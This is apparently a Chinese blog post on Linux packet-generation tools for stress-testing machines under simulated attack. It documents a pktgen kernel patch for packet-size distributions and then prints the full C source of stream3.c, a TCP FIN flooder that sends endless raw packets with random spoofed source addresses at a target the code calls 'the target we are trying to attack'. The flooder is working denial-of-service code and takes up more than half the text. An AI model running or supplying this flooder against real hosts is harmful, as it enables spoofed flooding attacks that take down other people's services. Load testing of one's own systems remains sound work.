Linux网络发包工具pktgen

[size=medium]如果想做模仿网络攻击的测试,选择高速小包发送工具,最好还是可以指定协议的。当然,我们研究这些可不是打算用来攻击他人的机器,搞网络破坏的,而是用来通过该方法测试收数据体验一下被攻击的感觉,哈哈,也顺便衡量一下机器的性能。这方面smartbit测试仪可以完全可以满足。可惜啊,一台都得好几十万,对于大多数人来说都不太划算。那么还有没有软件的发包工具可以实现高速按指定协议发送数据包啊?!有。还是要归功于linux的开源精神的许多网络黑客的无私奉献。我们可以采用linux内核自带的发包工具pktgen,或者经常被用来进行网络攻击的stream源代码。
不过目前stream.c是比较老的版本了,现在我们可以使用改进而来的stream3.c或stream3o.c来完成我们的发包任务,很不错啊,在源码里面修改for循环的次数,就可以指定发包数量。然后编译源码运行,指定自己想要的参数,就可以达到目的了。呵呵!
The packet size distribution enhancement of the
Linux Kernel Packet Generator:
----------------------------------------------------------
Table of Contents:
I. How it works
II. How to use the new enhancements
III. How to install this module
IV. What i have change in the code
First of all I want to mention that this patch was only tested on a x86
PC with a v2.6.8 Linux Kernel. But please report problems to me:
fabian_at_net.in.tum.de (substitute "_at_" with "@")
I. How it works:
-----------------
When a new packet shall be generated, a new packet size has to be
determined. Therefore we randomly choose an entry of the (so called)
outliers array. This array contains packet size values of those packet
sizes which appear very often in the distribution which shall be
represented. If we read a -1 in this array, none of these packet sizes
is choosen, therefore we need to choose randomly again. But this time we
use another array---the so called histos array. In this array the entrys
are the lowest packet size of the bin which it is representing. For this
reason we need to add random jitter of maximal the width of such a bin
(called hist_width below) to this obtained packet size.
II. How to use the new enhancements:
------------------------------------

1. Read the original pktgen.txt
2. The following three new commands for the /proc interface were added:
dist:
pgset "dist 1000 20 1500 33 75"

This is used to set up the Linux Kernel Packet Generator for excepting
the distributions entered by the "outl" and "hist" commands. The syntax
is: dist
With the size of the array used for generating the
different packet sizes is set. This is directly influencing how high
the resolution of the different entrys is.
The sets the width of a bin.
The sets the maximum packet size.
The and define how many lines of "oult" and
"hist" have to follow until the input distribution is complete.
outl:
pgset "outl 40 179"

Syntax: outl

This instructs the Generator to fill of the outliers array
with the packet size
hist:
pgset "hist 40 91"
Syntax: hist

This instructs the Generator to fill of the histos array
with the packet size , to which jitter will be added.
3. To activate the distribution you have to switch the PKTSIZE_REAL flag
pgset "flag PKTSIZE_REAL". This will only succeed if the distribution
is complete and correct, indicated with the DIST_READY flag.
III. How to install this module:
--------------------------------
1. Download the source code:
http://www.net.in.tum.de/~schneifa/sources/pktgen-lkpg-dist-0.1.tar.gz
2. unpack the tar archive:
tar -xvzf pktgen-lkpg-dist-0.1.tar.gz
3. Copy the new pktgen.c over the old:
cp pktgen-lkpg-dist-0.1/pktgen.c /usr/src/linux/net/core/pktgen.c
4. Compile the new pktgen.c:
cd /usr/src/linux/net/core
make -C /usr/src/linux SUBDIRS=$PWD modules
5. Install the new module:
cd /usr/src/linux
make modules_install

6. use it!

/*
stream3.c - TCP FIN packet flooder
patched from stream.c by 3APA3A, 2000
[email protected]
*/
#include
#include
#include
#include
#include
#include
#include
#ifndef __USE_BSD
#define __USE_BSD
#endif
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#include
#include
#include
#include
#include
#include
#ifdef LINUX
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif
struct ip_hdr {
u_int ip_hl:4, /* header length in 32 bit words */
ip_v:4; /* ip version */
u_char ip_tos; /* type of service */
u_short ip_len; /* total packet length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset */
u_char ip_ttl; /* time to live */
u_char ip_p; /* protocol */
u_short ip_sum; /* ip checksum */
u_long saddr, daddr; /* source and dest address */
};
struct tcp_hdr {
u_short th_sport; /* source port */
u_short th_dport; /* destination port */
u_long th_seq; /* sequence number */
u_long th_ack; /* acknowledgement number */
u_int th_x2:4, /* unused */
th_off:4; /* data offset */
u_char th_flags; /* flags field */
u_short th_win; /* window size */
u_short th_sum; /* tcp checksum */
u_short th_urp; /* urgent pointer */
};
struct tcpopt_hdr {
u_char type; /* type */
u_char len; /* length */
u_short value; /* value */
};
struct pseudo_hdr { /* See RFC 793 Pseudo Header */
u_long saddr, daddr; /* source and dest address */
u_char mbz, ptcl; /* zero and protocol */
u_short tcpl; /* tcp length */
};
struct packet {
struct ip/*_hdr*/ ip;
struct tcphdr tcp;
/* struct tcpopt_hdr opt; */
};
struct cksum {
struct pseudo_hdr pseudo;
struct tcphdr tcp;
};
struct packet packet;
struct cksum cksum;
struct sockaddr_in s_in;
u_short dstport, pktsize, pps;
u_long dstaddr;
int sock;
void usage(char *progname)
{
fprintf(stderr, "Usage: %s \n",
progname);
fprintf(stderr, " dstaddr - the target we are trying to attack.\n");
fprintf(stderr, " dstport - the port of the target, 0 = random.\n");
fprintf(stderr, " pktsize - the extra size to use. 0 = normal syn.\n");
exit(1);
}
/* This is a reference internet checksum implimentation, not very fast */
inline u_short in_cksum(u_short *addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits. */
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *) w;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
u_long lookup(char *hostname)
{
struct hostent *hp;
if ((hp = gethostbyname(hostname)) == NULL) {
fprintf(stderr, "Could not resolve %s.\n", hostname);
exit(1);
}
return *(u_long *)hp->h_addr;
}
void flooder(void)
{
struct timespec ts;
int i;
memset(&packet, 0, sizeof(packet));
ts.tv_sec = 0;
ts.tv_nsec = 10;
packet.ip.ip_hl = 5;
packet.ip.ip_v = 4;
packet.ip.ip_p = IPPROTO_TCP;
packet.ip.ip_tos = 0x08;
packet.ip.ip_id = rand();
packet.ip.ip_len = FIX(sizeof(packet));
packet.ip.ip_off = 0; /* IP_DF? */
packet.ip.ip_ttl = 255;
packet.ip.ip_dst.s_addr = dstaddr;
packet.ip.ip_src.s_addr = random();
packet.ip.ip_sum = 0;
packet.tcp.th_sum = 0;
packet.tcp.th_win = htons(16384);
packet.tcp.th_seq = random();
packet.tcp.th_ack = 0;
packet.tcp.th_off = 5; /* 5 */
packet.tcp.th_urp = 0;
packet.tcp.th_ack = rand();
packet.tcp.th_flags = TH_ACK|TH_FIN;
packet.tcp.th_sport = rand();
packet.tcp.th_dport = dstport?htons(dstport):rand();
/*
packet.opt.type = 0x02;
packet.opt.len = 0x04;
packet.opt.value = htons(1460);
*/
s_in.sin_family = AF_INET;
s_in.sin_port = packet.tcp.th_dport;
s_in.sin_addr.s_addr = dstaddr;
cksum.pseudo.daddr = dstaddr;
cksum.pseudo.saddr = packet.ip.ip_src.s_addr;
cksum.pseudo.mbz = 0;
cksum.pseudo.ptcl = IPPROTO_TCP;
cksum.pseudo.tcpl = htons(sizeof(struct tcphdr));
cksum.tcp = packet.tcp;
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof(cksum));
for(i=0;;++i) {
if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr
*)&s_in, sizeof(s_in)) < 0)
perror("jess");
}
}
int main(int argc, char *argv[])
{
int on = 1;
printf("stream3.c v0.01 - TCP FIN Packet Flooder\n modified by [email protected]\n");
if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket");
exit(1);
}
setgid(getgid()); setuid(getuid());
if (argc < 4)
usage(argv[0]);
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
perror("setsockopt");
exit(1);
}
srand((time(NULL) ^ getpid()) + getppid());
printf("\nResolving IPs..."); fflush(stdout);
dstaddr = lookup(argv[1]);
dstport = atoi(argv[2]);
pktsize = atoi(argv[3]);
printf("Sending..."); fflush(stdout);
flooder();
return 0;
}[/size]

你可能感兴趣的:(Linux网络发包工具pktgen)